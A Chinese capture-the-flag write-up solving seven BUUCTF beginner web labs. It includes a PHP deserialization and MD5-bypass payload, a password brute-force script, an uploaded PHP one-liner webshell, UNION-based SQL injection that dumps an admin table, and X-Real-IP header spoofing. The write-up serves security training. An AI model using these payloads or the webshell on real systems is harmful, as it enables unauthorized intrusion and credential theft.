buuctf Basic
buuctf Basic
1.Linux Labs
根据提示我们可以知道需要远程连接linux服务器,这里使用xshell进行如下配置
输入ssh的用户名root,密码123456
连接成功
构造命令
ls …/
查看文件
查看flag
cat …/flag.txt
为flag{8fee8783-1ed5-4b67-90eb-a1d603a02080}
2.BUU LFI COURSE 1
访问url:
http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/
审查源代码,可以发现是通过get方式对file进行传参
构造payload:
http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/?file=/flag
获取flag为flag{f2be8efe-aafb-4272-9026-15daa6109822}
3.BUU CODE REVIEW 1
访问url
http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/
审查源码
<?php
/*** Created by PhpStorm.* User: jinzhao* Date: 2019/10/6* Time: 8:04 PM*/highlight_file(__FILE__);class BUU { //类:BUU public $correct = ""; //公有属性:$correctpublic $input = ""; //公有属性:$inputpublic function __destruct() { //公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用try {$this->correct = base64_encode(uniqid()); //给correct赋值为base64_encode(uniqid()) //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。if($this->correct === $this->input) { //判断两个属性是否全等echo file_get_contents("/flag"); //若全等,则打印根目录下的flag}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') { //GET方法传递pleaseget变量值为1if($_POST['pleasepost'] === '2') { //POST方法传递pleasepost变量值为2if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { //POST方法传递md51和md52的内容不同
但是md5值相同unserialize($_POST['obj']);}}
}
编写代码,构造payload
<?php
class BUU{public $correct="";public $input="";
}$obj = new BUU;
$obj->input=&$obj->correct; BUU类中的correct和input内容强相等,这里利用传引用的方法
echo serialize($obj);
?>
得到的字符串:
O:3:“BUU”:2:{s:7:“correct”;s:0:“”;s:5:“input”;R:2;}
通过数组使用hackbar构造payload1
http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/?pleaseget=1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
如下
原理:PHP 当中使用== 来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是0e开头的时候,那么就会被当成数值。而0exxxxxx都为0.
那么就只需要找到两个不同的数值,开头却是以e0开头的即可。如下图中所示。
通过弱类型使用hackbar构造payload2
http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/?pleaseget=1
pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
如下
得到flag{e8db4533-5be4-4167-823c-99aa37dd11c3}
4.BUU BRUTE 1
访问url
http://1ceee8eb-6422-4482-b14b-ff6347146129.node3.buuoj.cn/
第一种方式,Python脚本
import requests
url = "http://1ceee8eb-6422-4482-b14b-ff6347146129.node3.buuoj.cn/?username=admin&password="
for i in range(6400, 7000):res = requests.get(url + str(i))print("[*] Try:", i)if res.text != "密码错误,为四位数字。":print(res.text)break
漏洞证明
第二种方式,burp爆破(注意线程要慢,否则会ban)
得到flag{410c3a24-9741-48ad-bea2-664880484307}
5.BUU UPLOAD COURSE 1
访问url
http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=upload.php
这是一道上传一句话木马的题,有一个可以提交文件的页面
写一个普通的 php 脚本,保存改后缀为 .php 尝试上传
<?php echo 'Hello World!'; ?>
页面提示
可以在 ?file=uploads/6078008f5d264.jpg 查看,有相应的内容回显,说明自定义的 php 脚本被成功执行
把脚本修改成一句话木马
<?php @eval(system($_POST["x"]));?>
成功上传后
访问相应的 ?file=uploads/60780125ea642.jpg,页面空白,说明 php 命令被成功执行
hackbar构造payload
http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=uploads/60780125ea642.jpg x=ls
成功拿到 shell
提交 cat /flag 拿到 flag{75427571-4ee5-4f7c-b97a-b84ad969ca1f}
6.BUU SQL COURSE 1
访问url
http://ab600305-c94f-49ad-9122-563513c0d4e1.node3.buuoj.cn/#/
首页如下
审查元素,点击测试新闻1的链接,可以在Network处看到注入点
接下来就是常规注入,构造payload,查询表名
?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
为admin,contents
查询admin表中的列名
?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
为id,username,password
查询username,password的字段内容
?id=0 union select group_concat(username),group_concat(password) from admin#
为admin,5398f18f7e93f8e45f6ea31bc4105a2d
得到flag{86ac0951-9f94-4b5e-b19b-07a9a4109c15}
7.BUU BURP COURSE 1
访问url
http://458d48b9-467d-475b-a1b6-0186d6370927.node3.buuoj.cn/
页面提示
构造payload
X-Real-IP:127.0.0.1
成功绕过
构造payload
username=admin&password=wwoj2wio2jw93ey43eiuwdjnewkndjlwe
X-Real-IP:127.0.0.1
得到flag{1470d887-a1c6-4109-b401-12ccda3cba8d}
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
相关文章:

buuctf Basic
buuctf Basic 1.Linux Labs 根据提示我们可以知道需要远程连接linux服务器,这里使用xshell进行如下配置 输入ssh的用户名root,密码123456 连接成功 构造命令 ls …/ 查看文件 查看flag cat …/flag.txt 为flag{8fee8783-1ed5-4b67-90eb-a1d603a0208…...

赛狐ERP|亚马逊产品缺货怎么办?该如何补救?
由于物流时效的延长,运输成本的增加,亚马逊的仓储限制等各种原因,断货问题很常成为亚马逊卖家的普遍困扰。那么亚马逊产品缺货应该怎么办!1、提高产品价格:除了卖自己的Listing此外,提高产品价格也是一种保…...
《Elasticsearch源码解读与优化实战》张超-读书笔记
写在前面 好久没更新博客了,应届狗没办法啊╮(╯▽╰)╭为了秋招搞了小半年,从去年5月到现在搞了两段实习(京东、游戏公司),最终年前拿到一家还不错的offer,现在已经入职实习了,不出意外的话以…...

编码踩坑——运行时报错java.lang.NoSuchMethodError / 同名类加载问题 / 双亲委派【建议收藏】
本篇介绍一个实际遇到的排查异常的case,涉及的知识点包括:类加载机制、jar包中的类加载顺序、JVM双亲委派模型、破坏双亲委派模型及自定义类加载器的代码示例;问题背景业务版本,旧功能升级,原先引用的一个二方包中的du…...

软件测试选Python还是Java?
目录 前言 1、先从一门语言开始 2、两个语言的区别 3、两个语言的测试栈技术 4、如何选择两种语言? 总结 前言 对于工作多年的从业者来说,同时掌握java和Python两门语言再好不过,可以大大增加找工作时的选择范围。但是对于转行的人或者…...

“2023数据安全智能化中国行”活动,开幕即高能
工信部等16部门近日发布的《关于促进数据安全产业发展的指导意见》提出,到2025年,数据安全产业基础能力和综合实力明显增强,数据安全产业规模超过1500亿元,年复合增长率超过30%。到2035年,数据安全产业进入繁荣成熟期。…...

机器人操作规划——Deep Visual Foresight for Planning Robot Motion(2017 ICRA)
1 简介 model-based RL方法,预测Action对图像的变化,以push任务进行研究。 采用完全自监督的学习方式,不需要相机标定、3D模型、深度图像和物理仿真。 2 数据集 采用几百个物体、10个7dof机械臂采集了包括5万个push attempts的数据集。 每…...
go 连接redis集群
最近用redis shake做redis数据迁移,由于redis提供的客户端没有用于查看集群的工具,且我部署的redis集群是基于k8s来构建的,没有使用ingress做转发,所以只能在k8s内部访问集群,于是我先用gogin框架编写了访问redis集群的…...
LeetCode 146. LRU 缓存
原题链接 难度:middle\color{orange}{middle}middle 题目描述 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCacheLRUCacheLRUCache 类: LRUCache(intcapacity)LRUCache(int capacity)LRUCache(intcapacity) 以 正整数 …...

【mac】在m2 mbp上通过Parallels Desktop安装ubuntu22.04
文章目录前言一、参考文章二、版本信息三、方法1:通过ubuntu官网提供的iso安装3.1 配置服务器3.2 安装图形界面四、方法2:通过Parallels Desktop提供的安装包五、 小工具5.1 调整应用栏图标大小5.2 ubuntu获取mac的剪切板5.3 调整terminal字体大小5.4 安装samba5.5 ubuntu连接m…...

C++类和对象,初见类
坚持看完,结尾有思维导图总结 这里写目录标题C语言和 C 的区别类的定义类的初认识类的内容访问限定符类的作用域类的实例化类中的 this 指针总结C语言和 C 的区别 C 的祖师爷除了在 C语言的基础上化简了一些复杂操作 更为重要的是,两个语言实现的过程是…...

Redis常用数据结构及应用场景
1.总体结构 Redis中的数据,总体上是键值对,不同数据类型指的是键值对中值的类型。 2.string类型 Redis中最基本的类型,它是key对应的一个单一值。二进制安全,不必担心由于编码等问题导致二进制数据变化。所以redis的string可以…...
C++虚继承内存布局
C菱形继承内存布局 编译器:Visual Studio 2019 关于如何查看内存布局 B class B { public:B(): _ib(10), _cb(B){cout << "B()" << endl;}B(int ib, char cb): _ib(ib), _cb(cb){cout << "B(int,char)" << endl;}vi…...

IO模型--从BIO、NIO、AIO到内核select、poll、epoll剖析
IO基本概述 IO的分类 IO以不同的维度划分,可以被分为多种类型;从工作层面划分成磁盘IO(本地IO)和网络IO; 也从工作模式上划分:BIO、NIO、AIO;从工作性质上分为阻塞式IO与非阻塞式IO;…...

Zebec完成BNB Chain以及Near链上协议部署,多链化进程加速
从去年开始,Zebec 就开始以多链的形式来拓展自身的流支付生态,一方面向更多的区块链系统拓展自身流支付协议,即从Solana上向EVM链上对协议与通证等进行迁移与拓展。目前基本完成了在BNB Chain以及Near上的合约部署,且能够在这些EV…...

wpscan常见的使用方法
目录 简单介绍 暴力破解 信息收集 指定用户爆破 命令集合 简单介绍 Wordpress是一个以PHP和MySQL为平台的免费自由开源的博客软件和内容管理系统。 WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安…...
Tree 底层源码实现(二叉树、递归、迭代)
树(Tree)是一种非线性数据结构,由一组节点和它们之间的边组成。在树中,每个节点都有零个或多个子节点,除了根节点外,每个节点都有且仅有一个父节点。树可以被用于许多应用程序,如文件系统、XML文…...

家政服务小程序实战教程13-接入客服
小程序在微信里使用,以其无需安装随用随走为特点。但是有个问题是,如果提供商品或者服务的,用户如果有问题往往希望平台的运营方给出专业的解答。为了满足这类需求,就需要我们提供客服接入的功能,用户可以点击客服图标…...

大白话高并发(三)
背景 高并发得第三篇,讲一讲压测吧,因为我的目的是模拟100万人同时来秒杀。 是不是真的要找100万个人 没必要 ,你就算100万人掐着表在同一毫秒内把请求请求某一台机器,服务器也不可能在同一时间处理那么多请求,因为…...

vue全家桶(四)前端工程化
vue全家桶(四)前端工程化1.模块化的相关规范1.1模块化概述1.2模块化的分类A.浏览器端的模块化B.服务器端的模块化C.ES6模块化1.2.1 Node.js中通过bable体验ES6模块化1.2.2 ES6模块化的基本语法1.2.2.1 默认导出与默认导入1.2.2.2 按需导出与按需导入1.2.…...

python打卡day49
知识点回顾: 通道注意力模块复习空间注意力模块CBAM的定义 作业:尝试对今天的模型检查参数数目,并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...

最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...
使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装
以下是基于 vant-ui(适配 Vue2 版本 )实现截图中照片上传预览、删除功能,并封装成可复用组件的完整代码,包含样式和逻辑实现,可直接在 Vue2 项目中使用: 1. 封装的图片上传组件 ImageUploader.vue <te…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...

【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...

Qemu arm操作系统开发环境
使用qemu虚拟arm硬件比较合适。 步骤如下: 安装qemu apt install qemu-system安装aarch64-none-elf-gcc 需要手动下载,下载地址:https://developer.arm.com/-/media/Files/downloads/gnu/13.2.rel1/binrel/arm-gnu-toolchain-13.2.rel1-x…...
Java多线程实现之Runnable接口深度解析
Java多线程实现之Runnable接口深度解析 一、Runnable接口概述1.1 接口定义1.2 与Thread类的关系1.3 使用Runnable接口的优势 二、Runnable接口的基本实现方式2.1 传统方式实现Runnable接口2.2 使用匿名内部类实现Runnable接口2.3 使用Lambda表达式实现Runnable接口 三、Runnabl…...